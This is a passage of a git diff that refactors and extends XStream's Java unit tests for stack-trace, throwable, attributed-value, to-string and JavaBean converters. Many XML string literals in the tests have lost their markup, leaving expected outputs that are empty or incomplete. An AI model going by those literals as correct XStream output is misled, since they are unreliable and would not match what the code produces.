AbstractAcceptanceTest { - private StackTraceElementFactory factory = new StackTraceElementFactory(); + private final StackTraceElementConverter.StackTraceElementFactory factory = + new StackTraceElementConverter.StackTraceElementFactory(); public void testSerializesStackTraceElement() { - StackTraceElement trace = factory.unknownSourceElement("com.blah.SomeClass", "someMethod"); - String expectedXml = "com.blah.SomeClass.someMethod(Unknown Source)"; + final StackTraceElement trace = factory.unknownSourceElement("com.blah.SomeClass", "someMethod"); + final String expectedXml = "com.blah.SomeClass.someMethod(Unknown Source)"; + final StackTraceElement unmarshalled = assertBothWays(trace, expectedXml); + assertNull(unmarshalled.getFileName()); + assertEquals(-1, unmarshalled.getLineNumber()); + } + + public void testWithFileBasedSourceCodeUnitAndLineNumber() { + final StackTraceElement trace = factory.element("com.blah.SomeClass", "someMethod", "SomeClass.java", 22); + final String expectedXml = "com.blah.SomeClass.someMethod(SomeClass.java:22)"; assertBothWays(trace, expectedXml); } - public void testIncludesDebugInformation() { - StackTraceElement trace = factory.element("com.blah.SomeClass", "someMethod", "SomeClass.java", 22); - String expectedXml = "com.blah.SomeClass.someMethod(SomeClass.java:22)"; + public void testWithFileBasedSourceCodeUnitOnly() { + final StackTraceElement trace = factory.element("com.blah.SomeClass", "someMethod", "SomeClass.java"); + final String expectedXml = "com.blah.SomeClass.someMethod(SomeClass.java)"; + final StackTraceElement unmarshalled = assertBothWays(trace, expectedXml); + assertEquals(-1, unmarshalled.getLineNumber()); + } + + public void testWithArbitraryourceCodeUnitAndLineNumber() { + final StackTraceElement trace = factory + .element("com.blah.SomeClass", "someMethod", "jar:file:/tmp/x-1.0.jar!/com/blah/SomeClass.groovy", 22); + final String expectedXml = + "com.blah.SomeClass.someMethod(jar:file:/tmp/x-1.0.jar!/com/blah/SomeClass.groovy:22)"; assertBothWays(trace, expectedXml); } - public void testIncludesPartialDebugInformation() { - StackTraceElement trace = factory.element("com.blah.SomeClass", "someMethod", "SomeClass.java"); - String expectedXml = "com.blah.SomeClass.someMethod(SomeClass.java)"; + public void testNativeMethodsWithoutSourceCodeUnit() { + final StackTraceElement trace = factory.nativeMethodElement("com.blah.SomeClass", "someMethod"); + final String expectedXml = "com.blah.SomeClass.someMethod(Native Method)"; assertBothWays(trace, expectedXml); + final StackTraceElement unmarshalled = assertBothWays(trace, expectedXml); + assertNull(unmarshalled.getFileName()); + assertEquals(-2, unmarshalled.getLineNumber()); } - public void testIncludesNativeMethods() { - StackTraceElement trace = factory.nativeMethodElement("com.blah.SomeClass", "someMethod"); - String expectedXml = "com.blah.SomeClass.someMethod(Native Method)"; + public void testNativeMethodsWithSourceCodeUnit() { + final StackTraceElement trace = factory.element("com.blah.SomeClass", "someMethod", "SomeClass.java", -2); + final String expectedXml = "com.blah.SomeClass.someMethod(SomeClass.java:-2)"; assertBothWays(trace, expectedXml); + final StackTraceElement unmarshalled = assertBothWays(trace, expectedXml); + assertEquals("SomeClass.java", unmarshalled.getFileName()); + assertEquals(-2, unmarshalled.getLineNumber()); } public void testSupportsInnerClasses() { - StackTraceElement trace = factory.unknownSourceElement("com.blah.SomeClass$Inner$2", "someMethod"); - String expectedXml = "com.blah.SomeClass$Inner$2.someMethod(Unknown Source)"; + final StackTraceElement trace = factory.unknownSourceElement("com.blah.SomeClass$Inner$2", "someMethod"); + final String expectedXml = "com.blah.SomeClass$Inner$2.someMethod(Unknown Source)"; assertBothWays(trace, expectedXml); } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ThrowableConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ThrowableConverterTest.java index caf297b63..e24ea668c 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ThrowableConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ThrowableConverterTest.java @@ -1,20 +1,23 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 29. May 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.math.BigDecimal; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.xstream.XStream; -import java.math.BigDecimal; /** * @author B. K. Oxley (binkley) @@ -22,119 +25,204 @@ public class ThrowableConverterTest extends AbstractAcceptanceTest { public void testDeserializesThrowable() { - Throwable expected = new Throwable(); - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(expected)); + final Throwable expected = new Throwable(); + final Throwable result = xstream.fromXML(xstream.toXML(expected)); assertThrowableEquals(expected, result); } public void testDeserializesException() { - Exception expected = new Exception(); - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(expected)); + final Exception expected = new Exception(); + final Throwable result = xstream.fromXML(xstream.toXML(expected)); assertThrowableEquals(expected, result); } public void testIncludesMessage() { - Throwable expected = new Throwable("A MESSAGE"); - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(expected)); + final Throwable expected = new IOException("A MESSAGE"); + final Throwable result = xstream.fromXML(xstream.toXML(expected)); assertThrowableEquals(expected, result); } public void testIncludesCause() { - Throwable expected = new Throwable(new Throwable()); - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(expected)); + final Throwable expected = new Throwable(new Throwable()); + final Throwable result = xstream.fromXML(xstream.toXML(expected)); assertThrowableEquals(expected, result); } public void testIncludesCauseAndMessage() { - Throwable expected = new Throwable("MESSAGE", new Throwable("CAUSE MESSAGE")); - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(expected)); + final Throwable expected = new Throwable("MESSAGE", new Throwable("CAUSE MESSAGE")); + final Throwable result = xstream.fromXML(xstream.toXML(expected)); + assertThrowableEquals(expected, result); + } + + public void testIncludesSuppressedExceptions() { + final Throwable expected = new Throwable("MESSAGE"); + expected.addSuppressed(new Throwable("SUPPRESSED MESSAGE")); + final Throwable result = xstream.fromXML(xstream.toXML(expected)); assertThrowableEquals(expected, result); } public void testIncludesStackTrace() { try { throw new Exception(); - } catch (Exception exception) { - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(exception)); + } catch (final Exception exception) { + final Throwable result = (Throwable)xstream.fromXML(xstream.toXML(exception)); assertThrowableEquals(exception, result); } } public static class MyException extends Exception { - private BigDecimal number; + private static final long serialVersionUID = 200405L; + private final BigDecimal number; - public MyException(String msg, BigDecimal number) { + public MyException(final String msg, final BigDecimal number) { super(msg); this.number = number; } - public boolean equals(Object o) { + @Override + public boolean equals(final Object o) { return super.equals(o) && o instanceof MyException && number.equals(((MyException)o).number); } + @Override + public int hashCode() { + return number.hashCode() | super.hashCode(); + } + } public void testSerializesExtraFields() { try { throw new MyException("A MESSAGE", new BigDecimal(123.4)); - } catch (MyException exception) { - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(exception)); + } catch (final MyException exception) { + final Throwable result = xstream.fromXML(xstream.toXML(exception)); + assertThrowableEquals(exception, result); + } + } + + public static class OtherException extends Exception { + private static final long serialVersionUID = 201905L; + private transient BigDecimal number; + + public OtherException(final String msg, final BigDecimal number) { + super(msg); + this.number = number; + } + + @Override + public boolean equals(final Object o) { + return super.equals(o) && o instanceof MyException && number.equals(((MyException)o).number); + } + + @Override + public int hashCode() { + return number.hashCode() | super.hashCode(); + } + + private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { + in.defaultReadObject(); + number = new BigDecimal(in.readDouble()); + } + + private void writeObject(final ObjectOutputStream out) throws IOException { + out.defaultWriteObject(); + out.writeDouble(number.doubleValue()); + } + } + + public void testSupportsSerializationMethods() { + try { + throw new OtherException("A MESSAGE", new BigDecimal(123.4)); + } catch (final OtherException exception) { + final Throwable result = xstream.fromXML(xstream.toXML(exception)); assertThrowableEquals(exception, result); } } - - public void testSerializesWithNoSelfReferenceForUninitializedCauseInJdk14() { + + public void testSerializesWithNoSelfReferenceForUninitializedCauseInPureMode() { xstream.setMode(XStream.NO_REFERENCES); try { throw new RuntimeException("Without cause"); - } catch (RuntimeException exception) { - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(exception)); + } catch (final RuntimeException exception) { + final Throwable result = xstream.fromXML(xstream.toXML(exception)); assertThrowableEquals(exception, result); assertNull(exception.getCause()); assertNull(result.getCause()); } } - - public void testSerializesWithInitializedCauseInJdk14() { + + public void testSerializesWithInitializedCauseInPureMode() { xstream.setMode(XStream.NO_REFERENCES); try { throw new RuntimeException("Without cause", null); - } catch (RuntimeException exception) { - Throwable result = (Throwable) xstream.fromXML(xstream.toXML(exception)); + } catch (final RuntimeException exception) { + final Throwable result = xstream.fromXML(xstream.toXML(exception)); assertThrowableEquals(exception, result); assertNull(exception.getCause()); assertNull(result.getCause()); } } - private static void assertThrowableEquals(final Throwable a, - final Throwable b) { + public void testCanUnmarshalFormatOf14() { + final String xml = "" + + "\n" + + " A MESSAGE\n" + + " \n" + + " com.thoughtworks.xstream.converters.extended.ThrowableConverterTest.testDeserializesThrowable(ThrowableConverterTest.java:26)\n" + + " sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n" + + " sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\n" + + " sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n" + + " java.lang.reflect.Method.invoke(Method.java:498)\n" + + " junit.framework.TestCase.runTest(TestCase.java:154)\n" + + " junit.framework.TestCase.runBare(TestCase.java:127)\n" + + " junit.framework.TestResult$1.protect(TestResult.java:106)\n" + + " junit.framework.TestResult.runProtected(TestResult.java:124)\n" + + " junit.framework.TestResult.run(TestResult.java:109)\n" + + " junit.framework.TestCase.run(TestCase.java:118)\n" + + " junit.framework.TestSuite.runTest(TestSuite.java:208)\n" + + " junit.framework.TestSuite.run(TestSuite.java:203)\n" + + " \n" + + "\n"; + final Throwable result = xstream.fromXML(xml); + assertEquals("A MESSAGE", result.getMessage()); + assertEquals(13, result.getStackTrace().length); + } + + public void testCanAddSuppressedExceptionsLater() { + final Exception expected = new Exception(); + final Throwable result = xstream.fromXML(xstream.toXML(expected)); + assertThrowableEquals(expected, result); + result.addSuppressed(new RuntimeException()); + } + + private static void assertThrowableEquals(final Throwable a, final Throwable b) { assertBoth(a, b, new MoreAssertions() { - public void assertMoreSafely(final Object a, - final Object b) { - final Throwable ta = (Throwable) a, tb = (Throwable) b; + @Override + public void assertMoreSafely(final Object a, final Object b) { + final Throwable ta = (Throwable)a, tb = (Throwable)b; assertEquals(ta.getClass(), tb.getClass()); assertEquals(ta.getMessage(), tb.getMessage()); assertThrowableEquals(ta.getCause(), tb.getCause()); assertArrayEquals(ta.getStackTrace(), tb.getStackTrace()); + assertArrayEquals(ta.getSuppressed(), tb.getSuppressed()); } }); } private static void assertArrayEquals(final Object[] expected, final Object[] actual) { - StringBuffer expectedJoined = new StringBuffer(); - StringBuffer actualJoined = new StringBuffer(); - for (int i = 0; i < expected.length; i++) { - expectedJoined.append(expected[i]).append('\n'); + final StringBuffer expectedJoined = new StringBuffer(); + final StringBuffer actualJoined = new StringBuffer(); + for (final Object element : expected) { + expectedJoined.append(element).append('\n'); } - for (int i = 0; i < actual.length; i++) { + for (final Object element : actual) { // JRockit adds ":???" for invalid line number - actualJoined.append(actual[i].toString().replaceFirst(":\\?\\?\\?", "")).append('\n'); + actualJoined.append(element.toString().replaceFirst(":\\?\\?\\?", "")).append('\n'); } assertEquals(expectedJoined.toString(), actualJoined.toString()); } - private static void assertBoth(Object a, Object b, MoreAssertions moreAssertions) { + private static void assertBoth(final Object a, final Object b, final MoreAssertions moreAssertions) { if (null == a) { if (null == b) { return; diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ToAttributedValueConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ToAttributedValueConverterTest.java index 354f23b87..0b21eb5d4 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ToAttributedValueConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ToAttributedValueConverterTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2011, 2013, 2014 XStream Committers. + * Copyright (C) 2011, 2013, 2014, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. July 2011 by Joerg Schaible */ @@ -30,11 +30,11 @@ import com.thoughtworks.xstream.core.DefaultConverterLookup; import com.thoughtworks.xstream.core.TreeMarshaller; import com.thoughtworks.xstream.core.TreeUnmarshaller; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.xml.CompactWriter; import com.thoughtworks.xstream.io.xml.PrettyPrintWriter; -import com.thoughtworks.xstream.io.xml.XppDriver; import com.thoughtworks.xstream.mapper.ArrayMapper; import com.thoughtworks.xstream.mapper.ClassAliasingMapper; import com.thoughtworks.xstream.mapper.DefaultImplementationsMapper; @@ -46,7 +46,7 @@ /** * Tests {@link ToAttributedValueConverter}. - * + * * @author jos / last modified by $Author$ */ public class ToAttributedValueConverterTest extends TestCase { @@ -55,183 +55,174 @@ public class ToAttributedValueConverterTest extends TestCase { private ReflectionProvider reflectionProvider; private Mapper mapper; + @Override protected void setUp() throws Exception { super.setUp(); - final ClassAliasingMapper classAliasingMapper = new ClassAliasingMapper( - new DefaultMapper(new ClassLoaderReference(getClass().getClassLoader()))); + final ClassAliasingMapper classAliasingMapper = new ClassAliasingMapper(new DefaultMapper( + new ClassLoaderReference(getClass().getClassLoader()))); classAliasingMapper.addClassAlias("x", X.class); classAliasingMapper.addClassAlias("software", Software.class); classAliasingMapper.addClassAlias("open-source", OpenSourceSoftware.class); mapper = new DefaultImplementationsMapper(new ArrayMapper(classAliasingMapper)); reflectionProvider = new SunUnsafeReflectionProvider(); - driver = new XppDriver(); + driver = DefaultDriver.create(); converterLookup = new DefaultConverterLookup(); - converterLookup.registerConverter( - new SingleValueConverterWrapper(new StringConverter()), 0); - converterLookup.registerConverter( - new SingleValueConverterWrapper(new IntConverter()), 0); + converterLookup.registerConverter(new SingleValueConverterWrapper(new StringConverter()), 0); + converterLookup.registerConverter(new SingleValueConverterWrapper(new IntConverter()), 0); converterLookup.registerConverter(new ArrayConverter(mapper), 0); - converterLookup.registerConverter( - new ReflectionConverter(mapper, reflectionProvider), -1); + converterLookup.registerConverter(new ReflectionConverter(mapper, reflectionProvider), -1); } /** * Tests conversion with field defined in converted class. */ public void testWithValueInConvertedClass() { - converterLookup.registerConverter(new ToAttributedValueConverter( - Software.class, mapper, reflectionProvider, converterLookup, "name"), 0); + converterLookup.registerConverter(new ToAttributedValueConverter(Software.class, mapper, reflectionProvider, + converterLookup, "name"), 0); final Software name = new Software(null, "XStream"); final StringWriter writer = new StringWriter(); + @SuppressWarnings("resource") final CompactWriter compactWriter = new CompactWriter(writer); new TreeMarshaller(compactWriter, converterLookup, mapper).start(name, null); compactWriter.flush(); assertEquals("XStream", writer.toString()); - final HierarchicalStreamReader reader = driver.createReader(new StringReader( - writer.toString())); - assertEquals( - name, new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)); + try (final HierarchicalStreamReader reader = driver.createReader(new StringReader(writer.toString()))) { + assertEquals(name, new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)); + } } /** * Tests conversion with field defined in superclass. */ public void testWithValueInSuperclass() { - converterLookup.registerConverter(new ToAttributedValueConverter( - OpenSourceSoftware.class, mapper, reflectionProvider, converterLookup, "name", - Software.class), 0); + converterLookup.registerConverter(new ToAttributedValueConverter(OpenSourceSoftware.class, mapper, + reflectionProvider, converterLookup, "name", Software.class), 0); final Software software = new OpenSourceSoftware("Codehaus", "XStream", "BSD"); final StringWriter writer = new StringWriter(); - final CompactWriter compactWriter = new CompactWriter(writer); - new TreeMarshaller(compactWriter, converterLookup, mapper).start(software, null); - compactWriter.flush(); - assertEquals( - "XStream", - writer.toString()); - - final HierarchicalStreamReader reader = driver.createReader(new StringReader( - writer.toString())); - assertEquals( - software, new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)); + try (final CompactWriter compactWriter = new CompactWriter(writer)) { + new TreeMarshaller(compactWriter, converterLookup, mapper).start(software, null); + compactWriter.flush(); + } + assertEquals("XStream", writer.toString()); + + try (final HierarchicalStreamReader reader = driver.createReader(new StringReader(writer.toString()))) { + assertEquals(software, new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)); + } } /** * Tests conversion distinguishes between different types. */ public void testWillDistinguishBetweenDifferentTypes() { - converterLookup.registerConverter(new ToAttributedValueConverter( - Software.class, mapper, reflectionProvider, converterLookup, "name"), 0); - converterLookup.registerConverter( - new ToAttributedValueConverter( - OpenSourceSoftware.class, mapper, reflectionProvider, converterLookup, - "license"), 0); + converterLookup.registerConverter(new ToAttributedValueConverter(Software.class, mapper, reflectionProvider, + converterLookup, "name"), 0); + converterLookup.registerConverter(new ToAttributedValueConverter(OpenSourceSoftware.class, mapper, + reflectionProvider, converterLookup, "license"), 0); final Software[] software = new Software[]{ - new Software("Microsoft", "Windows"), - new OpenSourceSoftware("Codehaus", "XStream", "BSD")}; + new Software("Microsoft", "Windows"), new OpenSourceSoftware("Codehaus", "XStream", "BSD")}; final StringWriter writer = new StringWriter(); - final PrettyPrintWriter prettyPrintWriter = new PrettyPrintWriter(writer); - new TreeMarshaller(prettyPrintWriter, converterLookup, mapper).start(software, null); - prettyPrintWriter.flush(); + try (final PrettyPrintWriter prettyPrintWriter = new PrettyPrintWriter(writer)) { + new TreeMarshaller(prettyPrintWriter, converterLookup, mapper).start(software, null); + prettyPrintWriter.flush(); + } assertEquals("" + "\n" + " Windows\n" + " BSD\n" + "", writer.toString()); - final HierarchicalStreamReader reader = driver.createReader(new StringReader( - writer.toString())); - Software[] array = (Software[])new TreeUnmarshaller( - null, reader, converterLookup, mapper).start(null); - assertEquals(software[0], array[0]); - assertEquals(software[1], array[1]); + try (final HierarchicalStreamReader reader = driver.createReader(new StringReader(writer.toString()))) { + final Software[] array = (Software[])new TreeUnmarshaller(null, reader, converterLookup, mapper).start( + null); + assertEquals(software[0], array[0]); + assertEquals(software[1], array[1]); + } } /** * Tests conversion with null in field value. */ public void testWithNullValueDeserializedAsEmptyString() { - converterLookup.registerConverter(new ToAttributedValueConverter( - Software.class, mapper, reflectionProvider, converterLookup, "name"), 0); + converterLookup.registerConverter(new ToAttributedValueConverter(Software.class, mapper, reflectionProvider, + converterLookup, "name"), 0); final Software software = new Software(null, null); final StringWriter writer = new StringWriter(); - final CompactWriter compactWriter = new CompactWriter(writer); - new TreeMarshaller(compactWriter, converterLookup, mapper).start(software, null); - compactWriter.flush(); + try (final CompactWriter compactWriter = new CompactWriter(writer)) { + new TreeMarshaller(compactWriter, converterLookup, mapper).start(software, null); + compactWriter.flush(); + } assertEquals("", writer.toString()); - final HierarchicalStreamReader reader = driver.createReader(new StringReader( - writer.toString())); - assertEquals( - "", - ((Software)new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)).name); + try (final HierarchicalStreamReader reader = driver.createReader(new StringReader(writer.toString()))) { + assertEquals("", ((Software)new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)).name); + } } /** * Tests conversion with null in field value. */ public void testWithoutValueField() { - converterLookup.registerConverter(new ToAttributedValueConverter( - Software.class, mapper, reflectionProvider, converterLookup, null), 0); + converterLookup.registerConverter(new ToAttributedValueConverter(Software.class, mapper, reflectionProvider, + converterLookup, null), 0); final Software software = new Software("Codehaus", "XStream"); final StringWriter writer = new StringWriter(); - final CompactWriter compactWriter = new CompactWriter(writer); - new TreeMarshaller(compactWriter, converterLookup, mapper).start(software, null); - compactWriter.flush(); + try (final CompactWriter compactWriter = new CompactWriter(writer)) { + new TreeMarshaller(compactWriter, converterLookup, mapper).start(software, null); + compactWriter.flush(); + } assertEquals("", writer.toString()); - final HierarchicalStreamReader reader = driver.createReader(new StringReader( - writer.toString())); - assertEquals( - software, new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)); + try (final HierarchicalStreamReader reader = driver.createReader(new StringReader(writer.toString()))) { + assertEquals(software, new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)); + } } /** * Tests conversion with complex value field. */ public void testWithComplexValueField() { - converterLookup.registerConverter(new ToAttributedValueConverter( - X.class, mapper, reflectionProvider, converterLookup, "innerObj"), 0); + converterLookup.registerConverter(new ToAttributedValueConverter(X.class, mapper, reflectionProvider, + converterLookup, "innerObj"), 0); final X x = new X(42); x.aStr = "xXx"; x.innerObj = new Y(); x.innerObj.yField = "inner"; final StringWriter writer = new StringWriter(); - final CompactWriter compactWriter = new CompactWriter(writer); - new TreeMarshaller(compactWriter, converterLookup, mapper).start(x, null); - compactWriter.flush(); - assertEquals( - "inner", writer.toString()); + try (final CompactWriter compactWriter = new CompactWriter(writer)) { + new TreeMarshaller(compactWriter, converterLookup, mapper).start(x, null); + compactWriter.flush(); + } + assertEquals("inner", writer.toString()); - final HierarchicalStreamReader reader = driver.createReader(new StringReader( - writer.toString())); - assertEquals(x, new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)); + try (final HierarchicalStreamReader reader = driver.createReader(new StringReader(writer.toString()))) { + assertEquals(x, new TreeUnmarshaller(null, reader, converterLookup, mapper).start(null)); + } } - + public void testFailsWhenFieldCannotBeWrittenAsAttribute() { - converterLookup.registerConverter(new ToAttributedValueConverter( - X.class, mapper, reflectionProvider, converterLookup, "aStr"), 0); + converterLookup.registerConverter(new ToAttributedValueConverter(X.class, mapper, reflectionProvider, + converterLookup, "aStr"), 0); final X x = new X(42); x.aStr = "xXx"; x.innerObj = new Y(); x.innerObj.yField = "inner"; final StringWriter writer = new StringWriter(); - final CompactWriter compactWriter = new CompactWriter(writer); - try { + try (final CompactWriter compactWriter = new CompactWriter(writer)) { new TreeMarshaller(compactWriter, converterLookup, mapper).start(x, null); fail("Thrown " + ConversionException.class.getName() + " expected"); } catch (final ConversionException e) { - assertTrue(e.getMessage().indexOf("innerObj") >= 0); + assertTrue(e.getMessage().contains("innerObj")); } } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ToStringConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ToStringConverterTest.java index fb584824d..ee97d9db9 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/extended/ToStringConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/extended/ToStringConverterTest.java @@ -1,36 +1,36 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. July 2006 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; +import java.util.Map; + import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.SingleValueConverter; import junit.framework.TestCase; -import java.util.Map; /** - * * @author Paul Hammant */ public class ToStringConverterTest extends TestCase { public void testClaimsCanConvertRightType() throws NoSuchMethodException { - SingleValueConverter converter = new ToStringConverter(Foo.class); + final SingleValueConverter converter = new ToStringConverter(Foo.class); assertTrue(converter.canConvert(Foo.class)); } public void testClaimsCantConvertWrongType() throws NoSuchMethodException { - SingleValueConverter converter = new ToStringConverter(Foo.class); + final SingleValueConverter converter = new ToStringConverter(Foo.class); assertFalse(converter.canConvert(Map.class)); } @@ -38,51 +38,50 @@ public void testClaimsCantConvertWrongType2() { try { new ToStringConverter(Map.class); fail("shoulda barfed"); - } catch (NoSuchMethodException e) { + } catch (final NoSuchMethodException e) { // expected. } } public void testCanConvertRightType() throws NoSuchMethodException { - SingleValueConverter converter = new ToStringConverter(Foo.class); + final SingleValueConverter converter = new ToStringConverter(Foo.class); assertTrue(converter.fromString("hello") instanceof Foo); - assertEquals("hello", ((Foo) converter.fromString("hello")).foo); + assertEquals("hello", ((Foo)converter.fromString("hello")).foo); } public void testCanInnocentlyConvertWrongTypeToString() throws NoSuchMethodException { - SingleValueConverter converter = new ToStringConverter(Foo.class); + final SingleValueConverter converter = new ToStringConverter(Foo.class); assertEquals("whoa", converter.toString("whoa")); } public void testCantConvertWrongType() throws NoSuchMethodException { - SingleValueConverter converter = new ToStringConverter(BadFoo1.class); + final SingleValueConverter converter = new ToStringConverter(BadFoo1.class); try { converter.fromString("whoa"); fail("shoulda barfed"); - } catch (ConversionException e) { + } catch (final ConversionException e) { assertTrue(e.getMessage().startsWith("Unable to target single String param constructor")); assertTrue(e.getCause() instanceof NullPointerException); } } - public static class Foo { final String foo; - public Foo(String foo) { + public Foo(final String foo) { this.foo = foo; } + @Override public String toString() { return foo; } } public static class BadFoo1 { - public BadFoo1(String string) { + public BadFoo1(final String string) { throw new NullPointerException("abc"); } } - } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/javabean/JavaBeanConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/javabean/JavaBeanConverterTest.java index f7972d257..1715c8b3a 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/javabean/JavaBeanConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/javabean/JavaBeanConverterTest.java @@ -1,38 +1,41 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2014, 2015, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 12. April 2005 by Joe Walnes */ package com.thoughtworks.xstream.converters.javabean; -import junit.framework.TestCase; - import java.util.Comparator; import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.xstream.XStream; +import junit.framework.TestCase; + public class JavaBeanConverterTest extends TestCase { // Different JDK versions deliver properties in different order - so sort them! - static class StringComparator implements Comparator { + static class StringComparator implements Comparator { - public int compare(Object o1, Object o2) { - return ((String)o1).compareToIgnoreCase((String)o2); + @Override + public int compare(final String o1, final String o2) { + return o1.compareToIgnoreCase(o2); } } public static class World extends StandardObject { - + + private static final long serialVersionUID = 200504L; + int anInt = 1; Integer anInteger = new Integer(2); char aChar = 'a'; @@ -53,7 +56,7 @@ public byte getAByte() { return aByte; } - public void setAByte(byte byte1) { + public void setAByte(final byte byte1) { aByte = byte1; } @@ -61,7 +64,7 @@ public Byte getAByteClass() { return aByteClass; } - public void setAByteClass(Byte byteClass) { + public void setAByteClass(final Byte byteClass) { aByteClass = byteClass; } @@ -69,7 +72,7 @@ public float getAFloat() { return aFloat; } - public void setAFloat(float float1) { + public void setAFloat(final float float1) { aFloat = float1; } @@ -77,7 +80,7 @@ public Float getAFloatClass() { return aFloatClass; } - public void setAFloatClass(Float floatClass) { + public void setAFloatClass(final Float floatClass) { aFloatClass = floatClass; } @@ -85,7 +88,7 @@ public long getALong() { return aLong; } - public void setALong(long long1) { + public void setALong(final long long1) { aLong = long1; } @@ -93,7 +96,7 @@ public Long getALongClass() { return aLongClass; } - public void setALongClass(Long longClass) { + public void setALongClass(final Long longClass) { aLongClass = longClass; } @@ -101,7 +104,7 @@ public boolean isABool() { return aBool; } - public void setABool(boolean aBool) { + public void setABool(final boolean aBool) { this.aBool = aBool; } @@ -109,7 +112,7 @@ public Boolean getABoolean() { return aBoolean; } - public void setABoolean(Boolean aBoolean) { + public void setABoolean(final Boolean aBoolean) { this.aBoolean = aBoolean; } @@ -117,7 +120,7 @@ public char getAChar() { return aChar; } - public void setAChar(char aChar) { + public void setAChar(final char aChar) { this.aChar = aChar; } @@ -125,7 +128,7 @@ public Character getACharacter() { return aCharacter; } - public void setACharacter(Character aCharacter) { + public void setACharacter(final Character aCharacter) { this.aCharacter = aCharacter; } @@ -133,7 +136,7 @@ public int getAnInt() { return anInt; } - public void setAnInt(int anInt) { + public void setAnInt(final int anInt) { this.anInt = anInt; } @@ -141,7 +144,7 @@ public Integer getAnInteger() { return anInteger; } - public void setAnInteger(Integer anInteger) { + public void setAnInteger(final Integer anInteger) { this.anInteger = anInteger; } @@ -149,7 +152,7 @@ public String getAString() { return aString; } - public void setAString(String aString) { + public void setAString(final String aString) { this.aString = aString; } @@ -157,7 +160,7 @@ public short getAShort() { return aShort; } - public void setAShort(short short1) { + public void setAShort(final short short1) { aShort = short1; } @@ -165,20 +168,20 @@ public Short getAShortClass() { return aShortClass; } - public void setAShortClass(Short shortClass) { + public void setAShortClass(final Short shortClass) { aShortClass = shortClass; } } public void testSerializesAllPrimitiveFieldsInACustomObject() { - World world = new World(); + final World world = new World(); - XStream xstream = new XStream(); - xstream.registerConverter(new JavaBeanConverter(xstream.getMapper(), new BeanProvider( - new StringComparator())), XStream.PRIORITY_LOW); + final XStream xstream = new XStream(); + xstream.registerConverter(new JavaBeanConverter(xstream.getMapper(), new BeanProvider(new StringComparator())), + XStream.PRIORITY_LOW); xstream.alias("world", World.class); - String expected = "" + final String expected = "" + "\n" + " true\n" + " false\n" @@ -197,45 +200,45 @@ public void testSerializesAllPrimitiveFieldsInACustomObject() { + " XStream programming!\n" + ""; - String result = xstream.toXML(world); + final String result = xstream.toXML(world); assertEquals(expected, result); } public void testSerializesNullValue() { - World world = new World(); + final World world = new World(); world.setAString(null); - XStream xstream = new XStream(); - xstream.registerConverter(new JavaBeanConverter(xstream.getMapper(), new 